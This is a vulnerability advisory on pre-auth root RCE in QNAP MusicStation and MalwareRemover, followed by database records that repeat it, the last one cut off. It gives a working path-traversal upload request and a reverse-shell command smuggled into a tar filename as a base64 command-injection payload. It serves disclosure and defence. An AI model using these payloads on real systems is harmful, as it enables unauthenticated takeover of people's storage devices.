# QNAP MusicStation/MalwareRemover Pre-Auth Remote Code Execution
## Summary
QNAP MusicStation and MalwareRemover official apps are affected by an arbitrary file upload and a command injection vulnerabilities, leading to pre-auth remote root command execution.
## Product description (from vendor)
“QNAP (Quality Network Appliance Provider) is devoted to providing comprehensive solutions in software development, hardware design and in-house manufacturing.”. For more information visit https://qnap.com/.
## CVE(s)
- [CVE-2020-36197](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36197)
- [CVE-2020-36198](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36198)
## Details
### Root cause analysis
#### Pre-auth arbitrary file write in MusicStation
“Music Station is a web-based music player for users to enjoy their music collection on the NAS.” from QNAP App Center.
MusicStation is not pre-installed on the QNAP device, but it is one of the most popular apps in the QNAP ecosystem, counting more than 5 million installations in the QNAP App Center. The app allows the user to manage their music on the NAS device through a web browser.
The file `musicstation/api/upload.php` allows anyone to upload an album cover on the NAS Device:
```
//upload temp album/artist art to NAS
[1] $arttype = getHTTPValue('arttype','');//album,artist
if(!empty($arttype)){
$art_upload_temp = MS_CONFIG_FOLDER."arttemp/";
[...]
$file = $_FILES['singleFile'];
$fileInfo = pathinfo($file['name']);
[2] if(strtolower($fileInfo['extension']) == "jpg" || strtolower($fileInfo['extension']) == "jpeg" || strtolower($fileInfo['extension']) == "png"){
$tempfileid = uniqid($arttype."_");
[3] $temppath = $art_upload_temp.$tempfileid.".".strtolower($fileInfo['extension']);
if(move_uploaded_file($file['tmp_name'],$temppath)){
_Output($output,array("status"=>1,"fid"=>encodeFilePath($tempfileid.".".strtolower($fileInfo['extension']))));
```
At [1] the HTTP parameter ‘arttype’ is loaded from the user HTTP request. At [2] the user-input filename extension (HTTP POST “singleFile” parameter’s name) is verified to be one of an image file: “jpeg”, “jpg” or “png”. At [3] the destination filename is assembled using the user-input `arttype` as a prefix (https://www.php.net/uniqid) and right after it is moved there. By providing a malicious `arttype` it is possible to write arbitrary files to a partially controlled location (specifically, the app will suffix the attacker’s provided filename with `_[a-f0-9]{13}\.(jpg|jpeg|png)`) in the QTS file system, since MusicStation (and all the other apps by default) runs with administrative privileges (root).
##### Proof-of-concept
The following HTTP request plants a file with filename prefix `/tmp/polict`:
```
POST /musicstation/api/upload.php?arttype=../../../../../../tmp/polict HTTP/1.1
Host: qnap.local:8080
Content-Type: multipart/form-data; boundary=---------------------------41226441225792835292630842014
Connection: close
-----------------------------41226441225792835292630842014
Content-Disposition: form-data; name="singleFile"; filename="a.jpg"
Content-Type: text/plain
any content
-----------------------------41226441225792835292630842014--
```
The final path is disclosed in the HTTP response in the `fid` field, e.g. `Li4vLi4vLi4vLi4vLi4vLi4vdG1wL3BvbGljdF81ZWUyOGU5YTAyZTM5LmpwZw-3D-3D` is `../../../../../../tmp/polict_5ee28e9a02e39.jpg`, which is `/tmp/polict_5ee28e9a02e39.jpg` confirmed by a shell check:
```shell=/bin/sh
# cat /tmp/polict_5ee28e9a02e39.jpg
any content
```
#### Command Injection in MalwareRemover
“The Malware Remover is designed to protect your Turbo NAS against harmful software. QNAP strongly recommends that you install this app to avoid potential security risks.” from QNAP App Center.
MalwareRemover is a pre-installed and “non-removable” app ("- For device security reasons, you can no longer remove Malware Remover from App Center." from https://www.qnap.com/en/app_releasenotes/list.php?app_choose=MalwareRemover) running on the NAS device.
By default it runs a malware scan via cronjob everyday at 3 AM, however the time can be changed in the app’s settings. `sh /share/CACHEDEV1_DATA/.qpkg/MalwareRemover/MalwareRemover.sh scan` is the registered cronjob command to perform the scan. In turn it executes `python /share/CACHEDEV1_DATA/.qpkg/MalwareRemover/modules/centre.pyc --check`, which will then execute `sh /share/CACHEDEV1_DATA/.qpkg/MalwareRemover/MalwareRemover_scan.sh`. Such file will cycle and run all the anti-malware rules included in the app:
```
[...]
source ${QPKG_ROOT}/common.sh
[...]
[1] modules=$(get_modules)
[...]
for prog in $modules; do
if [ ! -f ${STOPTYPE_PATH} ]; then
echo $prog | grep -q '.pyc$'
is_pyc=$?
echo $prog | grep -q '.py$'
is_py=$?
if [ ${is_pyc} = 0 ] || [ ${is_py} = 0 ]; then
prog_type=${PYTHON}
else
echo $prog | grep -q '.sh$'
if [ $? = 0 ]; then
prog_type="/bin/sh"
else
[2] prog_type="/bin/sh -c"
fi
fi
LOG "[$prog]"
cmd="${prog_type} $prog >> ${LOGFILE} 2>&1"
LOG "cmd = $cmd"
[3] unit_status=`$cmd`
[...]
```
Whereas `common.sh` contains:
```
[...]
TMP_PATH="/tmp/.malware_remover"
#use this file to recognize which stop is
STOPTYPE_PATH=${TMP_PATH}/stop_type
[...]
function get_modules()
{
[4] modules=`find $QPKG_ROOT/modules -regex "$QPKG_ROOT/modules/[0-9][0-9]_[0-9a-zA-Z_]\+\(\.[0-9a-zA-Z_\-]\+\)\?" 2>/dev/null | busybox sort -r`
echo ${modules}
}
[...]
```
At [1] the function `get_modules` is called, which at [4] lists the available files in a specific MalwareRemover folder (`$QPKG_ROOT` refers to the MalwareRemover QNAP Package folder location which by default is `/share/CACHEDEV1_DATA/.qpkg/MalwareRemover/` ) matching the `[0-9][0-9]_[0-9a-zA-Z_]\+\(\.[0-9a-zA-Z_\-]\+\)\?` pattern (by the way, this stricter pattern broke the first “file write -> rce” gadget identified), and its output is saved to the `modules` variable. At [2] if the current “module” filename doesn’t match the pattern `(\.py|\.pyc|\.sh)$`, `/bin/sh -c` is used as launcher program, which will interpret its following arguments as shell commands at [3]. The default MalwareRemover installation includes 19 modules, mostly in `pyc` format (decompilable using [uncompyle6](https://pypi.org/project/uncompyle6/)). `modules/02_autoupgrade.pyc` is vulnerable to a command injection and an arbitrary file write in an arbitrary file path (both vulnerabilities allow Remote Code Execution (RCE) as root (administrator)):
```
[...]
config_path = tostring([47, 116, 109, 112, 47, 99, 111, 110, 102, 105, 103, 47])
[...]
tmpconfig_status = check_tmp_config(config_path)
[...]
```
`config_path` is a bytearray containing “/tmp/config”, which will be used in `check_tmp_config`, defined in `modules/autoupgrade.pyc`:
```
def check_tmp_config(config_path):
[...]
try:
[1] mount_config()
[...]
match_files = []
for key in akey:
try:
match_files += keyword_path(config_path, key, check_mount=True)
[...]
[2] for dirpath, dirnames, filenames in os.walk(config_path):
for filename in filenames:
filepath = '%s/%s' % (dirpath, filename)
try:
if tarfile.is_tarfile(filepath) is True and
[3] is_tarball_match(filepath, ['@openssh']) is True:
print('%s is malicious tarfile' % filepath)
```
At [1] `mount_config` is called, which will mount a temporary file system in `/tmp/config` (`config_path`). At [2] the content of the file system mounted in “/tmp/config” is listed (Note: between [1] and [2] any file created/moved in `/tmp/config` will be read at [2], indeed this race condition will be exploited) and checked if it contains a tar file and if `is_tarball_match` returns True. `tarfile.is_tarfile` doesn’t require the path to have any particular file extension. `is_tarball_match` is defined in `gadget.py`:
```
def is_tarball_match(filepath, rules):
[...]
tmp_dir = os.path.join(get_hdd_tmp_path(), '.remover_%s' % id_generator())
LOG.debug('filepath = %s, tmp_dir = %s', filepath, tmp_dir)
try:
[1] tar = tarfile.open(filepath)
[...]
[2] tar.extractall(tmp_dir)
[...]
for dirpath, dirnames, filenames in os.walk(tmp_dir):
for filename in filenames:
filepath = '%s/%s' % (dirpath, filename)
LOG.debug('check tarball file = %s', filepath)
for rule in rules:
try:
result = None
[3] string_cmd = 'strings %s | grep -E "%s"' % (filepath, rule)
pobj = os.popen(string_cmd)
```
At [1] the tar file is parsed and at [2] all the file entries are extracted in a temporary folder. This is vulnerable to path traversal which enables to write/overwrite any file in the file system with an arbitrary file, [like the documentation warns](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall) (`Warning Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots ".."`), however there’s a more immediate way than that to achieve Remote Code Execution. At [3] each filename included in the tar file is checked through an unsafe shell command execution. Via a malicious filename in the input tar file it is possible to achieve Remote Code Execution as root (administrator), e.g. using https://github.com/ptoomey3/evilarc and a bash TCP reverse shell payload:
```
$ git clone https://github.com/ptoomey3/evilarc
Cloning into 'evilarc'...
remote: Enumerating objects: 12, done.
remote: Total 12 (delta 0), reused 0 (delta 0), pack-reused 12
Unpacking objects: 100% (12/12), done.
$ cd evilarc/
$ echo -n 'bash -i >& /dev/tcp/172.16.42.114/8383 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==
$ touch ';echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==|base64${IFS}-d|bash;#'
$ ./evilarc.py -f a.tar -o unix -d0 -p "/tmp/polict" ';echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==|base64${IFS}-d|bash;#'
Creating a.tar containing /tmp/polict/;echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==|base64${IFS}-d|bash;#
```
The next time MalwareRemover finds and scans the such file, it will spawn a TCP reverse shell as root.
#### Proof of concept
The full PoC code will be released at a later time.
### Impact
By chaining both issues it’s possible to gain pre-auth Remote Code Execution with root privileges on a remote QNAP NAS.
### Remediation
Upgrade QNAP MusicStation and MalwareRemover to the latest version available. (Note: we didn’t verify the patches.)
## Disclosure timeline
- 28/09/2020: Submission to ZDI’s portal
- 26/10/2020: While we were waiting for ZDI’s submission feedback, QNAP fixed the “file write -> rce” gadget vulnerability in MalwareRemover, breaking the full chain exploit
- 27/10/2020: polict finds an alternative gadget to achieve pre-auth remote root rce again and updates the report submitted to ZDI
- 14/05/2021: QNAP’s and ZDI’s advisories are made public:
- MusicStation:
- https://www.qnap.com/zh-tw/security-advisory/qsa-21-08
- https://www.zerodayinitiative.com/advisories/ZDI-21-591/
- MalwareRemover:
- https://www.qnap.com/zh-tw/security-advisory/qsa-21-16
- https://www.zerodayinitiative.com/advisories/ZDI-21-592/
- 19/05/2021: Shielder’s advisory is made public
## Credits
- `[polict](https://twitter.com/polict_)` of Shielder
This advisory was first published on https://www.shielder.it/advisories/qnap-musicstation-malwareremover-pre-auth-remote-code-execution/
**[ADVISORY](https://www.shielder.it/types/advisory)**
DATE
{"id": "SSV:99262", "type": "seebug", "bulletinFamily": "exploit", "title": "QNAP Music Station/Malware Remover\u672a\u6388\u6743\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff08CVE-2020-36197 CVE-2020-36198\uff09", "description": "# QNAP MusicStation/MalwareRemover Pre-Auth Remote Code Execution\n\n## Summary\n\nQNAP MusicStation and MalwareRemover official apps are affected by an arbitrary file upload and a command injection vulnerabilities, leading to pre-auth remote root command execution.\n\n## Product description (from vendor)\n\n\u201cQNAP (Quality Network Appliance Provider) is devoted to providing comprehensive solutions in software development, hardware design and in-house manufacturing.\u201d. For more information visit https://qnap.com/.\n\n## CVE(s)\n\n- [CVE-2020-36197](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36197)\n- [CVE-2020-36198](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36198)\n\n## Details\n\n### Root cause analysis\n\n#### Pre-auth arbitrary file write in MusicStation\n\n\u201cMusic Station is a web-based music player for users to enjoy their music collection on the NAS.\u201d from QNAP App Center.\n\nMusicStation is not pre-installed on the QNAP device, but it is one of the most popular apps in the QNAP ecosystem, counting more than 5 million installations in the QNAP App Center. The app allows the user to manage their music on the NAS device through a web browser.\n\nThe file `musicstation/api/upload.php` allows anyone to upload an album cover on the NAS Device:\n\n```\n //upload temp album/artist art to NAS\n[1] $arttype = getHTTPValue('arttype','');//album,artist\n if(!empty($arttype)){\n $art_upload_temp = MS_CONFIG_FOLDER.\"arttemp/\";\n [...]\n $file = $_FILES['singleFile'];\n $fileInfo = pathinfo($file['name']);\t\n[2] if(strtolower($fileInfo['extension']) == \"jpg\" || strtolower($fileInfo['extension']) == \"jpeg\" || strtolower($fileInfo['extension']) == \"png\"){\n $tempfileid = uniqid($arttype.\"_\");\n[3] $temppath = $art_upload_temp.$tempfileid.\".\".strtolower($fileInfo['extension']);\n if(move_uploaded_file($file['tmp_name'],$temppath)){\n _Output($output,array(\"status\"=>1,\"fid\"=>encodeFilePath($tempfileid.\".\".strtolower($fileInfo['extension']))));\n```\n\n\n\nAt [1] the HTTP parameter \u2018arttype\u2019 is loaded from the user HTTP request. At [2] the user-input filename extension (HTTP POST \u201csingleFile\u201d parameter\u2019s name) is verified to be one of an image file: \u201cjpeg\u201d, \u201cjpg\u201d or \u201cpng\u201d. At [3] the destination filename is assembled using the user-input `arttype` as a prefix (https://www.php.net/uniqid) and right after it is moved there. By providing a malicious `arttype` it is possible to write arbitrary files to a partially controlled location (specifically, the app will suffix the attacker\u2019s provided filename with `_[a-f0-9]{13}\\.(jpg|jpeg|png)`) in the QTS file system, since MusicStation (and all the other apps by default) runs with administrative privileges (root).\n\n##### Proof-of-concept\n\nThe following HTTP request plants a file with filename prefix `/tmp/polict`:\n\n```\nPOST /musicstation/api/upload.php?arttype=../../../../../../tmp/polict HTTP/1.1\nHost: qnap.local:8080\nContent-Type: multipart/form-data; boundary=---------------------------41226441225792835292630842014\nConnection: close\n\n-----------------------------41226441225792835292630842014\nContent-Disposition: form-data; name=\"singleFile\"; filename=\"a.jpg\"\nContent-Type: text/plain\n\nany content\n-----------------------------41226441225792835292630842014--\n```\n\n\n\nThe final path is disclosed in the HTTP response in the `fid` field, e.g. `Li4vLi4vLi4vLi4vLi4vLi4vdG1wL3BvbGljdF81ZWUyOGU5YTAyZTM5LmpwZw-3D-3D` is `../../../../../../tmp/polict_5ee28e9a02e39.jpg`, which is `/tmp/polict_5ee28e9a02e39.jpg` confirmed by a shell check:\n\n```shell=/bin/sh\n# cat /tmp/polict_5ee28e9a02e39.jpg\nany content\n```\n\n#### Command Injection in MalwareRemover\n\n\u201cThe Malware Remover is designed to protect your Turbo NAS against harmful software. QNAP strongly recommends that you install this app to avoid potential security risks.\u201d from QNAP App Center.\n\nMalwareRemover is a pre-installed and \u201cnon-removable\u201d app (\"- For device security reasons, you can no longer remove Malware Remover from App Center.\" from https://www.qnap.com/en/app_releasenotes/list.php?app_choose=MalwareRemover) running on the NAS device.\n\nBy default it runs a malware scan via cronjob everyday at 3 AM, however the time can be changed in the app\u2019s settings. `sh /share/CACHEDEV1_DATA/.qpkg/MalwareRemover/MalwareRemover.sh scan` is the registered cronjob command to perform the scan. In turn it executes `python /share/CACHEDEV1_DATA/.qpkg/MalwareRemover/modules/centre.pyc --check`, which will then execute `sh /share/CACHEDEV1_DATA/.qpkg/MalwareRemover/MalwareRemover_scan.sh`. Such file will cycle and run all the anti-malware rules included in the app:\n\n```\n [...]\n source ${QPKG_ROOT}/common.sh\n [...]\n[1] modules=$(get_modules)\n [...]\n for prog in $modules; do\n if [ ! -f ${STOPTYPE_PATH} ]; then\n echo $prog | grep -q '.pyc$'\n is_pyc=$?\n echo $prog | grep -q '.py$'\n is_py=$?\n if [ ${is_pyc} = 0 ] || [ ${is_py} = 0 ]; then\n prog_type=${PYTHON}\n else\n echo $prog | grep -q '.sh$'\n if [ $? = 0 ]; then\n prog_type=\"/bin/sh\"\n else\n[2] prog_type=\"/bin/sh -c\"\n fi\n fi\n LOG \"[$prog]\"\n cmd=\"${prog_type} $prog >> ${LOGFILE} 2>&1\"\n LOG \"cmd = $cmd\"\n[3] unit_status=`$cmd`\n [...]\n```\n\n\n\nWhereas `common.sh` contains:\n\n```\n [...]\n TMP_PATH=\"/tmp/.malware_remover\"\n #use this file to recognize which stop is\n STOPTYPE_PATH=${TMP_PATH}/stop_type\n [...]\n function get_modules()\n {\n[4] modules=`find $QPKG_ROOT/modules -regex \"$QPKG_ROOT/modules/[0-9][0-9]_[0-9a-zA-Z_]\\+\\(\\.[0-9a-zA-Z_\\-]\\+\\)\\?\" 2>/dev/null | busybox sort -r`\n echo ${modules}\n }\n [...]\n```\n\n\n\nAt [1] the function `get_modules` is called, which at [4] lists the available files in a specific MalwareRemover folder (`$QPKG_ROOT` refers to the MalwareRemover QNAP Package folder location which by default is `/share/CACHEDEV1_DATA/.qpkg/MalwareRemover/` ) matching the `[0-9][0-9]_[0-9a-zA-Z_]\\+\\(\\.[0-9a-zA-Z_\\-]\\+\\)\\?` pattern (by the way, this stricter pattern broke the first \u201cfile write -> rce\u201d gadget identified), and its output is saved to the `modules` variable. At [2] if the current \u201cmodule\u201d filename doesn\u2019t match the pattern `(\\.py|\\.pyc|\\.sh)$`, `/bin/sh -c` is used as launcher program, which will interpret its following arguments as shell commands at [3]. The default MalwareRemover installation includes 19 modules, mostly in `pyc` format (decompilable using [uncompyle6](https://pypi.org/project/uncompyle6/)). `modules/02_autoupgrade.pyc` is vulnerable to a command injection and an arbitrary file write in an arbitrary file path (both vulnerabilities allow Remote Code Execution (RCE) as root (administrator)):\n\n```\n [...]\n config_path = tostring([47, 116, 109, 112, 47, 99, 111, 110, 102, 105, 103, 47])\n [...]\n tmpconfig_status = check_tmp_config(config_path)\n [...]\n```\n\n\n\n`config_path` is a bytearray containing \u201c/tmp/config\u201d, which will be used in `check_tmp_config`, defined in `modules/autoupgrade.pyc`:\n\n```\n def check_tmp_config(config_path):\n [...]\n try:\n[1] mount_config()\n [...]\n\n match_files = []\n for key in akey:\n try:\n match_files += keyword_path(config_path, key, check_mount=True)\n [...]\n\n[2] for dirpath, dirnames, filenames in os.walk(config_path):\n for filename in filenames:\n filepath = '%s/%s' % (dirpath, filename)\n try:\n if tarfile.is_tarfile(filepath) is True and\n[3] is_tarball_match(filepath, ['@openssh']) is True:\n print('%s is malicious tarfile' % filepath)\n```\n\n\n\nAt [1] `mount_config` is called, which will mount a temporary file system in `/tmp/config` (`config_path`). At [2] the content of the file system mounted in \u201c/tmp/config\u201d is listed (Note: between [1] and [2] any file created/moved in `/tmp/config` will be read at [2], indeed this race condition will be exploited) and checked if it contains a tar file and if `is_tarball_match` returns True. `tarfile.is_tarfile` doesn\u2019t require the path to have any particular file extension. `is_tarball_match` is defined in `gadget.py`:\n\n```\n def is_tarball_match(filepath, rules):\n [...]\n tmp_dir = os.path.join(get_hdd_tmp_path(), '.remover_%s' % id_generator())\n LOG.debug('filepath = %s, tmp_dir = %s', filepath, tmp_dir)\n try:\n[1] tar = tarfile.open(filepath)\n [...]\n\n[2] tar.extractall(tmp_dir)\n [...]\n\n for dirpath, dirnames, filenames in os.walk(tmp_dir):\n for filename in filenames:\n filepath = '%s/%s' % (dirpath, filename)\n LOG.debug('check tarball file = %s', filepath)\n for rule in rules:\n try:\n result = None\n[3] string_cmd = 'strings %s | grep -E \"%s\"' % (filepath, rule)\n pobj = os.popen(string_cmd)\n```\n\n\n\nAt [1] the tar file is parsed and at [2] all the file entries are extracted in a temporary folder. This is vulnerable to path traversal which enables to write/overwrite any file in the file system with an arbitrary file, [like the documentation warns](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall) (`Warning Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with \"/\" or filenames with two dots \"..\"`), however there\u2019s a more immediate way than that to achieve Remote Code Execution. At [3] each filename included in the tar file is checked through an unsafe shell command execution. Via a malicious filename in the input tar file it is possible to achieve Remote Code Execution as root (administrator), e.g. using https://github.com/ptoomey3/evilarc and a bash TCP reverse shell payload:\n\n```\n$ git clone https://github.com/ptoomey3/evilarc\nCloning into 'evilarc'...\nremote: Enumerating objects: 12, done.\nremote: Total 12 (delta 0), reused 0 (delta 0), pack-reused 12\nUnpacking objects: 100% (12/12), done.\n$ cd evilarc/\n$ echo -n 'bash -i >& /dev/tcp/172.16.42.114/8383 0>&1' | base64\nYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==\n$ touch ';echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==|base64${IFS}-d|bash;#'\n$ ./evilarc.py -f a.tar -o unix -d0 -p \"/tmp/polict\" ';echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==|base64${IFS}-d|bash;#'\nCreating a.tar containing /tmp/polict/;echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==|base64${IFS}-d|bash;#\n```\n\n\n\nThe next time MalwareRemover finds and scans the such file, it will spawn a TCP reverse shell as root.\n\n#### Proof of concept\n\nThe full PoC code will be released at a later time.\n\n### Impact\n\nBy chaining both issues it\u2019s possible to gain pre-auth Remote Code Execution with root privileges on a remote QNAP NAS.\n\n### Remediation\n\nUpgrade QNAP MusicStation and MalwareRemover to the latest version available. (Note: we didn\u2019t verify the patches.)\n\n## Disclosure timeline\n\n- 28/09/2020: Submission to ZDI\u2019s portal\n- 26/10/2020: While we were waiting for ZDI\u2019s submission feedback, QNAP fixed the \u201cfile write -> rce\u201d gadget vulnerability in MalwareRemover, breaking the full chain exploit\n- 27/10/2020: polict finds an alternative gadget to achieve pre-auth remote root rce again and updates the report submitted to ZDI\n- 14/05/2021: QNAP\u2019s and ZDI\u2019s advisories are made public:\n - MusicStation:\n - https://www.qnap.com/zh-tw/security-advisory/qsa-21-08\n - https://www.zerodayinitiative.com/advisories/ZDI-21-591/\n - MalwareRemover:\n - https://www.qnap.com/zh-tw/security-advisory/qsa-21-16\n - https://www.zerodayinitiative.com/advisories/ZDI-21-592/\n- 19/05/2021: Shielder\u2019s advisory is made public\n\n## Credits\n\n- `[polict](https://twitter.com/polict_)` of Shielder\n\nThis advisory was first published on https://www.shielder.it/advisories/qnap-musicstation-malwareremover-pre-auth-remote-code-execution/\n\n **[ADVISORY](https://www.shielder.it/types/advisory)**\n\nDATE", "published": "2021-06-01T00:00:00", "modified": "2021-06-01T00:00:00", "cvss": {"score": 5.8, "vector": "AV:A/AC:L/Au:N/C:P/I:P/A:P"}, "href": "https://www.seebug.org/vuldb/ssvid-99262", "reporter": "Knownsec", "references": [], "cvelist": ["CVE-2020-36197", "CVE-2020-36198"], "immutableFields": [], "lastseen": "2021-07-24T09:58:51", "viewCount": 21, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2020-36197", "CVE-2020-36198"]}, {"type": "zdi", "idList": ["ZDI-21-591", "ZDI-21-592"]}, {"type": "zdt", "idList": ["1337DAY-ID-36314"]}], "rev": 4}, "score": {"value": 7.2, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2020-36197", "CVE-2020-36198"]}, {"type": "zdi", "idList": ["ZDI-21-591", "ZDI-21-592"]}, {"type": "zdt", "idList": ["1337DAY-ID-36314"]}]}, "exploitation": null, "vulnersScore": 7.2}, "sourceHref": "", "sourceData": "", "status": "cve,details", "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1646085010}}
{"zdt": [{"lastseen": "2021-12-04T15:54:30", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-05-28T00:00:00", "type": "zdt", "title": "QNAP MusicStation / MalwareRemover File Upload / Command Injection Vulnerabilities", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:A/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36198", "CVE-2020-36197"], "modified": "2021-05-28T00:00:00", "id": "1337DAY-ID-36314", "href": "https://0day.today/exploit/description/36314", "sourceData": "QNAP MusicStation/MalwareRemover Pre-Auth Remote Code Execution\nSummary\n\nQNAP MusicStation and MalwareRemover official apps are affected by an arbitrary file upload and a command injection vulnerabilities, leading to pre-auth remote root command execution.\nProduct description (from vendor)\n\n\u201cQNAP (Quality Network Appliance Provider) is devoted to providing comprehensive solutions in software development, hardware design and in-house manufacturing.\u201d. For more information visit https://qnap.com/.\nCVE(s)\n\n CVE-2020-36197\n CVE-2020-36198\n\nDetails\nRoot cause analysis\nPre-auth arbitrary file write in MusicStation\n\n\u201cMusic Station is a web-based music player for users to enjoy their music collection on the NAS.\u201d from QNAP App Center.\n\nMusicStation is not pre-installed on the QNAP device, but it is one of the most popular apps in the QNAP ecosystem, counting more than 5 million installations in the QNAP App Center. The app allows the user to manage their music on the NAS device through a web browser.\n\nThe file musicstation/api/upload.php allows anyone to upload an album cover on the NAS Device:\n\n\n //upload temp album/artist art to NAS\n[1] $arttype = getHTTPValue('arttype','');//album,artist\n if(!empty($arttype)){\n $art_upload_temp = MS_CONFIG_FOLDER.\"arttemp/\";\n [...]\n $file = $_FILES['singleFile'];\n $fileInfo = pathinfo($file['name']);\t\n[2] if(strtolower($fileInfo['extension']) == \"jpg\" || strtolower($fileInfo['extension']) == \"jpeg\" || strtolower($fileInfo['extension']) == \"png\"){\n $tempfileid = uniqid($arttype.\"_\");\n[3] $temppath = $art_upload_temp.$tempfileid.\".\".strtolower($fileInfo['extension']);\n if(move_uploaded_file($file['tmp_name'],$temppath)){\n _Output($output,array(\"status\"=>1,\"fid\"=>encodeFilePath($tempfileid.\".\".strtolower($fileInfo['extension']))));\n\nAt [1] the HTTP parameter \u2018arttype\u2019 is loaded from the user HTTP request. At [2] the user-input filename extension (HTTP POST \u201csingleFile\u201d parameter\u2019s name) is verified to be one of an image file: \u201cjpeg\u201d, \u201cjpg\u201d or \u201cpng\u201d. At [3] the destination filename is assembled using the user-input arttype as a prefix (https://www.php.net/uniqid) and right after it is moved there. By providing a malicious arttype it is possible to write arbitrary files to a partially controlled location (specifically, the app will suffix the attacker\u2019s provided filename with _[a-f0-9]{13}\\.(jpg|jpeg|png)) in the QTS file system, since MusicStation (and all the other apps by default) runs with administrative privileges (root).\nProof-of-concept\n\nThe following HTTP request plants a file with filename prefix /tmp/polict:\n\n\nPOST /musicstation/api/upload.php?arttype=../../../../../../tmp/polict HTTP/1.1\nHost: qnap.local:8080\nContent-Type: multipart/form-data; boundary=---------------------------41226441225792835292630842014\nConnection: close\n\n-----------------------------41226441225792835292630842014\nContent-Disposition: form-data; name=\"singleFile\"; filename=\"a.jpg\"\nContent-Type: text/plain\n\nany content\n-----------------------------41226441225792835292630842014--\n\nThe final path is disclosed in the HTTP response in the fid field, e.g. Li4vLi4vLi4vLi4vLi4vLi4vdG1wL3BvbGljdF81ZWUyOGU5YTAyZTM5LmpwZw-3D-3D is ../../../../../../tmp/polict_5ee28e9a02e39.jpg, which is /tmp/polict_5ee28e9a02e39.jpg confirmed by a shell check:\n\n# cat /tmp/polict_5ee28e9a02e39.jpg\nany content\n\nCommand Injection in MalwareRemover\n\n\u201cThe Malware Remover is designed to protect your Turbo NAS against harmful software. QNAP strongly recommends that you install this app to avoid potential security risks.\u201d from QNAP App Center.\n\nMalwareRemover is a pre-installed and \u201cnon-removable\u201d app (\"- For device security reasons, you can no longer remove Malware Remover from App Center.\" from https://www.qnap.com/en/app_releasenotes/list.php?app_choose=MalwareRemover) running on the NAS device.\n\nBy default it runs a malware scan via cronjob everyday at 3 AM, however the time can be changed in the app\u2019s settings. sh /share/CACHEDEV1_DATA/.qpkg/MalwareRemover/MalwareRemover.sh scan is the registered cronjob command to perform the scan. In turn it executes python /share/CACHEDEV1_DATA/.qpkg/MalwareRemover/modules/centre.pyc --check, which will then execute sh /share/CACHEDEV1_DATA/.qpkg/MalwareRemover/MalwareRemover_scan.sh. Such file will cycle and run all the anti-malware rules included in the app:\n\n [...]\n source ${QPKG_ROOT}/common.sh\n [...]\n[1] modules=$(get_modules)\n [...]\n for prog in $modules; do\n if [ ! -f ${STOPTYPE_PATH} ]; then\n echo $prog | grep -q '.pyc$'\n is_pyc=$?\n echo $prog | grep -q '.py$'\n is_py=$?\n if [ ${is_pyc} = 0 ] || [ ${is_py} = 0 ]; then\n prog_type=${PYTHON}\n else\n echo $prog | grep -q '.sh$'\n if [ $? = 0 ]; then\n prog_type=\"/bin/sh\"\n else\n[2] prog_type=\"/bin/sh -c\"\n fi\n fi\n LOG \"[$prog]\"\n cmd=\"${prog_type} $prog >> ${LOGFILE} 2>&1\"\n LOG \"cmd = $cmd\"\n[3] unit_status=`$cmd`\n [...]\n\nWhereas common.sh contains:\n\n\n [...]\n TMP_PATH=\"/tmp/.malware_remover\"\n #use this file to recognize which stop is\n STOPTYPE_PATH=${TMP_PATH}/stop_type\n [...]\n function get_modules()\n {\n[4] modules=`find $QPKG_ROOT/modules -regex \"$QPKG_ROOT/modules/[0-9][0-9]_[0-9a-zA-Z_]\\+\\(\\.[0-9a-zA-Z_\\-]\\+\\)\\?\" 2>/dev/null | busybox sort -r`\n echo ${modules}\n }\n [...]\n\nAt [1] the function get_modules is called, which at [4] lists the available files in a 